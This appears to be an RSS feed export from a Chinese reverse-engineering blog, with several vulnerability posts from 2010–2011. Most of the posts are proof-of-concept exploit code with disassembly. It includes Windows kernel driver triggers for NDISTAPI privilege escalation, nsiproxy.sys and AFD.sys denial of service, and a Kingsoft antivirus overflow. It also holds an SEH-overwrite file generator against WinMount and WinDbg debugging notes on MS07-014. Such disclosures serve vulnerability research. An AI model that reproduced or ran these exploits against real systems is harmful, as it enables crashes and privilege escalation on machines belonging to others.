SoftRCE.net » 倚天屠龙（Vulnerability） http://www.softrce.net Software Reverse Code Engineering Tue, 13 Sep 2011 06:58:40 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062) http://www.softrce.net/archives/405 http://www.softrce.net/archives/405#comments Tue, 13 Sep 2011 06:10:07 +0000 dge http://www.softrce.net/?p=405 #include “stdio.h”
#include “windows.h”

#define NTSTATUS int

int main(int argc, char* argv[])
{

PULONG  pShellcode;
char InputBuffer[4]={0};
ULONG  AllocationSize,dwReturnSize;
HANDLE dev_handle;

SC_HANDLE hscmHandle = NULL;
SC_HANDLE hscDriver = NULL;

PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;

printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”);

dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ | GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0);

DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0×80000000,0,&dwReturnSize, NULL);

return 1;
}

Comments

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

随机日志

]]> http://www.softrce.net/archives/405/feed 5 Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability http://www.softrce.net/archives/392 http://www.softrce.net/archives/392#comments Wed, 18 May 2011 07:40:11 +0000 dge http://www.softrce.net/?p=392 #!/usr/bin/python
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == ‘__main__’:
GENERIC_READ  = 0×80000000
GENERIC_WRITE = 0×40000000
OPEN_EXISTING = 0×3
CREATE_ALWAYS = 0×2

SYM_NAME   = “\\\\.\\Nsi”
dwReturn      = c_ulong()
out_buff      = ”
in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00″
“\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00″
“\x38\xfa\x78\x00\x0c\x00\x00\x00″)

handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

相关阅读

]]> http://www.softrce.net/archives/392/feed 0 Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability http://www.softrce.net/archives/381 http://www.softrce.net/archives/381#comments Fri, 08 Apr 2011 03:04:58 +0000 dge http://www.softrce.net/?p=381 ////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
//
/////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <Winsock2.h>

#pragma comment (lib, “ws2_32.lib”)

BYTE buf[]={
0xac,0xfd,0xd3,0×00,0×01,0×00,0×00,0×00,0×00,0×00,
0×00,0×00,0×20,0×00,0×00,0×00,0xe8,0xfd,0xd3,0×00,
0xb8,0xfd,0xd3,0×00,0xf8,0xfd,0xd3,0×00,0xc4,0xfd,
0xd3,0×00,0xcc,0xfd,0xd3,0×00};

int main( )
{
WSADATA ws;

SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG  dwReturnSize;

printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”);
printf(“\t Create by Lufeng Li of Neusoft Corporation. \n\n”);

WSAStartup(0×0202,&ws);

peer.sin_family = AF_INET;
peer.sin_port = htons( 0x01bd );
peer.sin_addr.s_addr = inet_addr( “127.0.0.1″ );

tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM

if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf(“connect error\n”);
exit(0);
}

DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0×24,buf,0×24,&dwReturnSize, NULL);

return TRUE;
}

Comments

  • 2011年04月22日, gz1x writes: AFD里问题很多，不仅仅是Dos，可以本地提权。
  • 2011年04月23日, dge writes: @gz1x, 搞afd搞了一段时间了，到现在为止只弄出来这个，还得努力啊。

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

相关阅读

]]> http://www.softrce.net/archives/381/feed 2 QQplayer Memory Corruption Vulnerability http://www.softrce.net/archives/369 http://www.softrce.net/archives/369#comments Mon, 21 Mar 2011 02:58:19 +0000 dge http://www.softrce.net/?p=369 影响版本：<= QQplayer 2.8

一个符号扩展的问题出现在MP4Splitter.dll中。

.text:10023EFF                 mov     eax, [esi]
.text:10023F01                 push    0
.text:10023F03                 push    20h
.text:10023F05                 lea     ecx, [esp+40h+buff]
.text:10023F09                 push    ecx
.text:10023F0A                 mov     edx, [eax+0Ch]
.text:10023F0D                 mov     ecx, esi
.text:10023F0F                 call    edx                  ;从文件获取数据。
.text:10023F11                 movsx   eax, [esp+38h+buff]  ;符号扩展产生一个类似0xFFFFFFFX的值。
.text:10023F16                 cmp     eax, 20h
.text:10023F19                 jge     short loc_10023F2E   ;检查被绕过
.text:10023F1B                 mov     [esp+eax+38h+buf], 0 ;恶意数据被用于指针操作，导致栈中的指针数据被破坏。
.text:10023F20                 lea     eax, [esp+38h+buf]
.text:10023F24                 push    eax
.text:10023F25                 lea     ecx, [edi+5Ch]

POC:不放了。

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

Creative Commons Attribution 3.0 Unported This work is licensed under a Creative Commons Attribution 3.0 Unported.

相关阅读

]]> http://www.softrce.net/archives/369/feed 0 金山毒霸2011内核溢出漏洞 http://www.softrce.net/archives/337 http://www.softrce.net/archives/337#comments Mon, 13 Sep 2010 10:04:01 +0000 dge http://www.softrce.net/?p=337 这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。
在新版本中，这个驱动被去掉了。

影响版本：Kingsoft Antivirus <=v2010.04.26.648

漏洞分析:

.text:00012160
.text:00012160 sub_12160       proc near               ; CODE XREF: sub_129B0+2Fp
.text:00012160
.text:00012160 var_44          = byte ptr -44h
.text:00012160 var_4           = dword ptr -4
.text:00012160 arg_4           = dword ptr  0Ch
.text:00012160
.text:00012160                 push    ebp
.text:00012161                 mov     ebp, esp
.text:00012163                 mov     ecx, [ebp+arg_4]
.text:00012166                 mov     eax, [ecx+60h]
.text:00012169                 sub     esp, 44h
.text:0001216C                 push    ebx
.text:0001216D                 mov     ebx, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
.text:00012170                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
.text:00012173                 push    esi
.text:00012174                 add     eax, 7FFCFFFCh
.text:00012179                 xor     esi, esi
.text:0001217B                 cmp     eax, 28h        ; switch 41 cases
.text:0001217E                 push    edi
.text:0001217F                 mov     edi, [ecx+IRP.AssociatedIrp.SystemBuffer]
.text:00012182                 ja      loc_122E0       ; default
.text:00012182                                         ; jumptable 0001218F cases 1-3,5-7,9-11,13-15,17-19,21-23,25-27,29-31,33-35,37-39
.text:00012188                 movzx   eax, ds:byte_1231C[eax]
.text:0001218F                 jmp     ds:off_122EC[eax*4] ; switch jump
.text:00012196
.text:00012196 loc_12196:                              ; DATA XREF: .text:off_122ECo
.text:00012196                 push    ebx             ; 拷贝长度是InputBufferLength，是我们可控制的。
.text:00012197                 lea     ecx, [ebp+var_44];
.text:0001219A                 push    edi             ; 如果这个串大于72字节就可以覆盖到返回地址。
.text:0001219B                 push    ecx             ; char *
.text:0001219C                 call    strncpy
.text:000121A1                 add     esp, 0Ch
.text:000121A4                 lea     edx, [ebp+var_44]
.text:000121A7                 push    edx
.text:000121A8                 mov     [ebp+ebx+var_44], 0
.text:000121AD                 call    sub_15410
.text:000121B2                 pop     edi
.text:000121B3                 mov     esi, eax
.text:000121B5                 pop     esi
.text:000121B6                 pop     ebx
.text:000121B7                 mov     esp, ebp
.text:000121B9                 pop     ebp
.text:000121BA                 retn    8

poc:

#!/usr/bin/python

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == ’__main__’:
GENERIC_READ  = 0×80000000
GENERIC_WRITE = 0×40000000
OPEN_EXISTING = 0×3
CREATE_ALWAYS = 0×2

DEVICE_NAME   = ”\\\\.\\kavfm”
dwReturn      = c_ulong()
out_size      = 1024
in_size       = 1024
in_data       =”
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
in_data=1024*’\x80′
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0×80030004, in_data,500, 0, 0,byref(dwReturn), None)

EOF

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland.

随机日志

]]> http://www.softrce.net/archives/337/feed 3 WinMount mou文件格式溢出漏洞分析 http://www.softrce.net/archives/302 http://www.softrce.net/archives/302#comments Wed, 21 Apr 2010 11:55:42 +0000 dge http://www.softrce.net/archives/302 Author：dge

前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。

由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。

分析：
.text:100B5460 vul_ proc near ; CODE XREF: sub_100B64B0+2EEp
.text:100B5460
.text:100B5460 var_214 = dword ptr -214h
.text:100B5460 var_210 = dword ptr -210h
.text:100B5460 buf_20c = byte ptr -20Ch
.text:100B5460 arg_0 = dword ptr 4
.text:100B5460 arg_4 = dword ptr 8
.text:100B5460 arg_8 = dword ptr 0Ch
.text:100B5460 arg_C = dword ptr 10h
.text:100B5460 arg_10 = dword ptr 14h
.text:100B5460 arg_14 = dword ptr 18h
.text:100B5460 arg_18 = dword ptr 1Ch
.text:100B5460
.text:100B5460 sub esp, 214h
.text:100B5466 mov eax, dword_10101D2C
.text:100B546B xor eax, esp
.text:100B546D mov dword ptr [esp+214h+buf_20c+208h], eax
.text:100B5474 mov ecx, [esp+214h+arg_18]
.text:100B547B mov edx, [esp+214h+arg_4]
.text:100B5482 mov eax, [esp+214h+arg_C]
.text:100B5489 push ebx
.text:100B548A push ebp
.text:100B548B mov ebp, [esp+21Ch+arg_0]
.text:100B5492 push esi
.text:100B5493 mov esi, [esp+220h+arg_8]
.text:100B549A push edi
.text:100B549B mov [esp+224h+var_214], ecx
.text:100B549F push edx
.text:100B54A0 lea ecx, [ebp+58h]
.text:100B54A3 mov [esp+228h+var_210], eax
.text:100B54A7 call sub_100B5260
.text:100B54AC mov edi, [eax]
.text:100B54AE mov byte ptr [esi+6Ch], 1
.text:100B54B2 mov eax, [edi+26h]
.text:100B54B5 mov [esi+20h], eax
.text:100B54B8 mov eax, [edi+2Ah]
.text:100B54BB xor ebx, ebx
.text:100B54BD cmp eax, ebx
.text:100B54BF jz short loc_100B54D0
.text:100B54C1 cmp eax, 0FFFFFFFFh
.text:100B54C4 jz short loc_100B54D0
.text:100B54C6 mov byte ptr [esi+6Bh], 1
.text:100B54CA mov ecx, [edi+2Ah]
.text:100B54CD mov [esi+24h], ecx
.text:100B54D0
.text:100B54D0 loc_100B54D0: ; CODE XREF: vul_vul+5Fj
.text:100B54D0 ; vul_vul+64j
.text:100B54D0 cmp [edi+0Eh], ebx
.text:100B54D3 ja short loc_100B54DA
.text:100B54D5 cmp [edi+0Ah], ebx
.text:100B54D8 jbe short loc_100B54DE
.text:100B54DA
.text:100B54DA loc_100B54DA: ; CODE XREF: vul_vul+73j
.text:100B54DA mov al, 1
.text:100B54DC jmp short loc_100B54E0
.text:100B54DE ; —————————————————————————
.text:100B54DE
.text:100B54DE loc_100B54DE: ; CODE XREF: vul_vul+78j
.text:100B54DE xor al, al
.text:100B54E0
.text:100B54E0 loc_100B54E0: ; CODE XREF: vul_vul+7Cj
.text:100B54E0 test byte ptr [esi+20h], 10h
.text:100B54E4 mov [esi+68h], al
.text:100B54E7 setnbe dl
.text:100B54EA mov [esi+69h], dl
.text:100B54ED mov [esi+6Ah], bl
.text:100B54F0 mov eax, [edi+1Ah]
.text:100B54F3 mov ecx, [edi+1Eh]
.text:100B54F6 mov edx, eax
.text:100B54F8 or edx, ecx
.text:100B54FA jz short loc_100B5512
.text:100B54FC add eax, [esp+224h+arg_10]
.text:100B5503 adc ecx, [esp+224h+arg_14]
.text:100B550A mov [esi+60h], eax
.text:100B550D mov [esi+64h], ecx
.text:100B5510 jmp short loc_100B5518
.text:100B5512 ; —————————————————————————
.text:100B5512
.text:100B5512 loc_100B5512: ; CODE XREF: vul_vul+9Aj
.text:100B5512 mov [esi+60h], ebx
.text:100B5515 mov [esi+64h], ebx
.text:100B5518
.text:100B5518 loc_100B5518: ; CODE XREF: vul_vul+B0j
.text:100B5518 push 206h ; size_t
.text:100B551D lea ecx, [esp+228h+buf_20c+2]
.text:100B5521 xor eax, eax
.text:100B5523 push ebx ; int
.text:100B5524 push ecx ; void *
.text:100B5525 mov word ptr [esp+230h+buf_20c], ax
.text:100B552A call _memset
.text:100B552F add esp, 0Ch
.text:100B5532 push edi ; int
.text:100B5533 lea edx, [esp+228h+buf_20c]
.text:100B5537 push edx ; dst_string
.text:100B5538 push ebp ; int
.text:100B5539 call sub_100B3F90 ;

跟进去

.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)
.text:100B3F90 sub_100B3F90 proc near ; CODE XREF: sub_100B3F90+25p
.text:100B3F90 ; vul_vul+D9p
.text:100B3F90
.text:100B3F90 arg_0 = dword ptr 4
.text:100B3F90 dst_string = dword ptr 8
.text:100B3F90 arg_8 = dword ptr 0Ch
.text:100B3F90
.text:100B3F90 push ebx
.text:100B3F91 mov ebx, [esp+4+arg_8]
.text:100B3F95 mov eax, [ebx+5Ch]
.text:100B3F98 push esi
.text:100B3F99 mov esi, [esp+8+dst_string]
.text:100B3F9D push edi
.text:100B3F9E mov edi, ds:lstrcatW
.text:100B3FA4 test eax, eax
.text:100B3FA6 jz short loc_100B3FC2
.text:100B3FA8 cmp dword ptr [eax+56h], 0FFFFFFFFh
.text:100B3FAC jz short loc_100B3FC2
.text:100B3FAE push eax ; int
.text:100B3FAF mov eax, [esp+10h+arg_0]
.text:100B3FB3 push esi ; dst_string
.text:100B3FB4 push eax ; int
.text:100B3FB5 call sub_100B3F90
.text:100B3FBA push offset String2 ; “\\”
.text:100B3FBF push esi ; lpString1
.text:100B3FC0 call edi ; lstrcatW
.text:100B3FC2
.text:100B3FC2 loc_100B3FC2: ; CODE XREF: sub_100B3F90+16j
.text:100B3FC2 ; sub_100B3F90+1Cj
.text:100B3FC2 mov ecx, [ebx+52h]
.text:100B3FC5 push ecx ; lpString2
.text:100B3FC6 push esi ; lpString1
.text:100B3FC7 call edi ; lstrcatW ; 溢出
.text:100B3FC9 pop edi
.text:100B3FCA pop esi
.text:100B3FCB pop ebx
.text:100B3FCC retn 0Ch
.text:100B3FCC sub_100B3F90 endp

接下来会继续调用下边这个函数

.text:100209C0 access_ proc near ; CODE XREF: sub_10020AE0+6Cp
.text:100209C0 ; sub_10021060+105p …
.text:100209C0
.text:100209C0 p_string = dword ptr 4
.text:100209C0
.text:100209C0 push ebx
.text:100209C1 mov ebx, ecx
.text:100209C3 mov eax, [ebx]
.text:100209C5 push esi
.text:100209C6 xor ecx, ecx
.text:100209C8 push edi
.text:100209C9 mov edi, [esp+0Ch+p_string]
.text:100209CD mov dword ptr [ebx+4], 0
.text:100209D4 mov [eax], cx
.text:100209D7 xor esi, esi
.text:100209D9 cmp [edi], cx
.text:100209DC jz short loc_100209E7
.text:100209DE mov edi, edi
.text:100209E0
.text:100209E0 loc_100209E0: ; CODE XREF: access_+25j
.text:100209E0 inc esi
.text:100209E1 cmp [edi+esi*2], cx ; 可以制造出内存读异常—>绕过GS
.text:100209E5 jnz short loc_100209E0
.text:100209E7
.text:100209E7 loc_100209E7: ; CODE XREF: access_+1Cj
.text:100209E7 push esi
.text:100209E8 mov ecx, ebx
.text:100209EA call sub_10002F90
.text:100209EF mov ecx, [ebx]
.text:100209F1 mov edx, edi
.text:100209F3
.text:100209F3 loc_100209F3: ; CODE XREF: access_+42j
.text:100209F3 movzx eax, word ptr [edx]
.text:100209F6 mov [ecx], ax
.text:100209F9 add ecx, 2
.text:100209FC add edx, 2
.text:100209FF test ax, ax
.text:10020A02 jnz short loc_100209F3
.text:10020A04 pop edi
.text:10020A05 mov [ebx+4], esi
.text:10020A08 pop esi
.text:10020A09 mov eax, ebx
.text:10020A0B pop ebx
.text:10020A0C retn 4
.text:10020A0C access_ endp

POC:

用这个脚本产生test.zip，再借助WinMount生成test.mou文件。

import os

sploitfile=”test.zip”
ldf_header =(‘\x50\x4B\x03\x04\x14\x00\x00′
‘\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00′
‘\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′
‘\xd0\xff’
‘\x00\x00\x00′)
cdf_header = (“\x50\x4B\x01\x02\x14\x00\x14″
“\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\xd0\xff”
“\x00\x00\x00\x00\x00\x00\x01\x00″
“\x24\x00\x00\x00\x00\x00\x00\x00″)
eofcdf_header = (“\x50\x4B\x05\x06\x00\x00\x00″
“\x00\x01\x00\x01\x00″
“\xfe\xff\x00\x00″
“\xee\xff\x00\x00″
“\x00\x00″)
print ”[+] Preparing payload\n”
size=65484
junk=’A'*420
nseh=’\x89\x8a\x8b\x8c’
seh=’\x84\x5b\xac\x8d’
junk_=’A'*33
jumpto=’\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4′#make eax point to shellcode and jump to shellcode
shellcode=(“the shellcode here will be changed into unicode”)#encode by alpha2
junk__=’B'*80
last=’C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+”.wav”
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header
print ”[+] Removing old zip file\n”
os.system(“del ”+sploitfile)
print ”[+] Writing payload to file\n”
fobj=open(sploitfile,”w”,0)
fobj.write(evilzip)
print ”generate zip file ”+(sploitfile)
fobj.close()
print ’[+] Wrote %d bytes to file sploitfile\n’%(len(evilzip))
print ”[+] Payload length :%d \n”%(len(payload))

EOF

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported.

相关阅读

]]> http://www.softrce.net/archives/302/feed 1 MS07-014调试手记 http://www.softrce.net/archives/213 http://www.softrce.net/archives/213#comments Tue, 12 Jan 2010 11:56:42 +0000 Cyg07 http://www.softrce.net/?p=213 前面:

该文是去年某月份写的，今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过)，所以…
望路过的朋友指点下关于double free的问题，thx!

分析过程:

1、异常后的栈回溯
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> ub
<Unloaded_ta.dll>+0xba898a:
00ba898b 0000            add     byte ptr [eax],al
00ba898d 13d6            adc     edx,esi
00ba898f 3083c7415764    xor     byte ptr [ebx+645741C7h],al
00ba8995 ff30            push    dword ptr [eax]
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理
00ba899a ba3243313a      mov     edx,offset <Unloaded_ta.dll>+0x3a314331 (3a314332)
00ba899f 81c214131211    add     edx,offset <Unloaded_ta.dll>+0×11121313 (11121314)
00ba89a5 bf00001400      mov     edi,offset <Unloaded_ta.dll>+0x13ffff (00140000)
0:000> u
<Unloaded_ta.dll>+0xba89a9:
00ba89aa 3b17            cmp     edx,dword ptr [edi]                    // 异常位置
00ba89ac 7403            je      <Unloaded_ta.dll>+0xba89b0 (00ba89b1)
00ba89ae 47              inc     edi
00ba89af ebf9            jmp     <Unloaded_ta.dll>+0xba89a9 (00ba89aa)
00ba89b1 83c704          add     edi,4
00ba89b4 67648f060000    pop     dword ptr fs:[0000h]
00ba89ba 57              push    edi
00ba89bb c3              ret
///////////////////////////////////////////////////////////////////////////////////////////////

异常时的状态
///////////////////////////////////////////////////////////////////////////////////////////////
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00142b00 ecx=00000000 edx=4b435646 esi=00000000 edi=00feeffd
eip=00ba89aa esp=0011aca4 ebp=6c030a01 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203
<Unloaded_ta.dll>+0xba89a9:
00ba89aa 3b17            cmp     edx,dword ptr [edi]  ds:0023:00feeffd=00000000

注意到寄存器已经被覆盖
edx=4b435646
ebp=6c030a01

我们再回头看看SEH的回调处理是如何的?

00ba8995 ff30            push    dword ptr [eax]
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理

0:000> dd poi(fs:0) l2
0011aca4  0012f904 00ba896d

这里已经是shellcode了,异常是shellcode搞得鬼。
///////////////////////////////////////////////////////////////////////////////////////////////

2、栈回溯问题
显然我们这时候用k命令进行回溯已经是错误的了
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0011ace8 30d60800 <Unloaded_ta.dll>+0xba89a9
0011acec 00000000 mso!Ordinal2171+0x2ab
///////////////////////////////////////////////////////////////////////////////////////////////
手工回溯栈
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> !teb
TEB at 7ffdd000
ExceptionList:        0011aca4
StackBase:            00130000              // 基地址
StackLimit:           0011a000              // 边界
SubSystemTib:         00000000
FiberData:            00001e00
ArbitraryUserPointer: 00000000
Self:                 7ffdd000
EnvironmentPointer:   00000000
ClientId:             000006a4 . 00000fe0
RpcHandle:            00000000
Tls Storage:          00142ad0
PEB Address:          7ffde000
LastErrorValue:       0
LastStatusValue:      c0000034
Count Owned Locks:    0
HardErrorMode:        0
///////////////////////////////////////////////////////////////////////////////////////////////

栈是从基地址往低地址生长的,我从0011a000这个边界往回找
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> dds 0011a000 0011a000+1000
0011a000  00000000
0011a004  00000000
0011a008  00000000
0011a00c  00000000
0011a010  00000000
0011a014  00000000
0011a018  00000000
0011a01c  00000000
…                                                             // 往下是异常处理
0011a87c  7c930833 ntdll!RtlpImageNtHeader+0×56
0011a880  00ba896d <Unloaded_ta.dll>+0xba896c
0011a884  7c920000 ntdll!RtlDosPathSeperatorsString <PERF> (ntdll+0×0)
0011a888  0011ac00 <Unloaded_ta.dll>+0x11abff
0011a88c  7c9200e0 ntdll!RtlDosPathSeperatorsString <PERF> (ntdll+0xe0)
0011a890  0011a880 <Unloaded_ta.dll>+0x11a87f
…
0011a9a8  7c92eafa ntdll!KiUserExceptionDispatcher+0xe
0011a9ac  7c92d625 ntdll!NtContinue+0xc
0011a9b0  7c92eb08 ntdll!KiUserExceptionDispatcher+0x1c
0011a9b4  0011a9d8 <Unloaded_ta.dll>+0x11a9d7
0011a9b8  00000000
0011a9bc  c0000005
…
0011ace0  00000000
0011ace4  ebc03300
0011ace8  0000003a <Unloaded_ta.dll>+0×39
0011acec  30d60800 mso!Ordinal2171+0x2ab            // 这里就 kb 命令能回溯到的地方,出问题的就在下一个吧
0011acf0  00000000
0011acf4  00000000
0011acf8  00000000
0011acfc  00000000
…
0011afac  00000000
0011afb0  00000000
0011afb4  0011aff0 <Unloaded_ta.dll>+0x11afef
0011afb8  300316e8 winword+0x316e8                  // 这个就是出问题的函数了
0011afbc  0011aff0 <Unloaded_ta.dll>+0x11afef
0011afc0  30cb099d mso!MsoReleaseMemCore+0x1e       // 注意到这个 内存 释放函数
0011afc4  00000003 <Unloaded_ta.dll>+0×2
0011afc8  00000001 <Unloaded_ta.dll>
0011afcc  00000000
///////////////////////////////////////////////////////////////////////////////////////////////

3、问题函数

我们回头看看 winword+0x316e8 这个函数
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> uf winword+0x316e8
winword+0x316e8:
300316e8 85db            test    ebx,ebx
300316ea 8bf0            mov     esi,eax
300316ec 5f              pop     edi
300316ed 0f84d3eb0100    je      winword+0x502c6 (300502c6)

winword+0x316f3:
300316f3 ff75fc          push    dword ptr [ebp-4]
300316f6 ff157c20a730    call    dword ptr [winword!wdGetApplicationObject+0x2817a0 (30a7207c)] // 跟的时候这里就是 mso!MsoReleaseMemCore

winword+0x316fc:
300316fc 5b              pop     ebx
300316fd 8bc6            mov     eax,esi
300316ff 5e              pop     esi
30031700 c9              leave
30031701 c21400          ret     14h

winword+0x502c6:
300502c6 837dfc00        cmp     dword ptr [ebp-4],0
300502ca 0f842c14feff    je      winword+0x316fc (300316fc)

winword+0x502d0:
300502d0 e9f32e3200      jmp     winword!wdCommandDispatch+0x9350f (303731c8)

winword!wdCommandDispatch+0x9350f:
303731c8 ff75fc          push    dword ptr [ebp-4]
303731cb ff150c20a730    call    dword ptr [winword!wdGetApplicationObject+0x281730 (30a7200c)]
303731d1 e926e5cbff      jmp     winword+0x316fc (300316fc)
///////////////////////////////////////////////////////////////////////////////////////////////
既然有释放也必然有 alloc
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> x mso!Mso*MemCore
30cafa50 mso!MsoFAllocMemCore (<no parameter info>)
30cafccb mso!MsoFMarkMemCore (<no parameter info>)
30cb097f mso!MsoReleaseMemCore (<no parameter info>)
///////////////////////////////////////////////////////////////////////////////////////////////

显然这是个堆溢出,用IDA看了下
///////////////////////////////////////////////////////////////////////////////////////////////
int __stdcall sub_30031687(void *a1, int a2, int a3, int a4, int a5)
{
int v5; // ebx@2
int v6; // esi@4
int v8; // eax@2
int v9; // [sp+10h] [bp-4h]@2
int v10; // [sp+4h] [bp-10h]@4
int v11; // [sp+Ch] [bp-8h]@4
unsigned int v12; // [sp+8h] [bp-Ch]@4

if ( (unsigned int)a3 <= 0xA8C )
{
v6 = sub_30050378(a1, a2, a3, a4, a5);
}
else
{
v8 = MsoFMarkMemCore(&v9, 0x3FA3u);
v5 = v8;
if ( !v8 )
v9 = MsoPvAllocCore(0x3FA3u, 2);
if ( v9 )
{
v10 = 0;
v11 = v9;
v12 = 0x3FA3u;
v6 = sub_30031704(a1, a2, a3, a4, a5, (int)&v10);
if ( v5 )
{
MsoReleaseMemCore(v9);
}
else
{
if ( v9 )
MsoFreePv(v9);
}
}
else
{
v6 = sub_308FE25F(a1, a2, a3, a4, a5);
}
}
return v6;
}
///////////////////////////////////////////////////////////////////////////////////////////////

在最后EBP被覆盖前,有Double Free的现象
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bc84 30038e74 00b80418 08b3b9f4 00000000 mso!MsoReleaseMemCore
0012c0cc 3006df62 08b3b9f4 00000117 00000000 winword+0x38e74
0012c100 3006deb0 00000117 000c0838 0012c128 winword+0x6df62
0012c138 3006db3f 00b80398 00b80398 0cea08ca winword+0x6deb0
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6db3f
0012c228 30073769 00b80398 00000000 00000000 winword+0×71151
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0×73769
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0×43
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 <Unloaded_ta.dll>+0x12c6d3
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0×13
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec
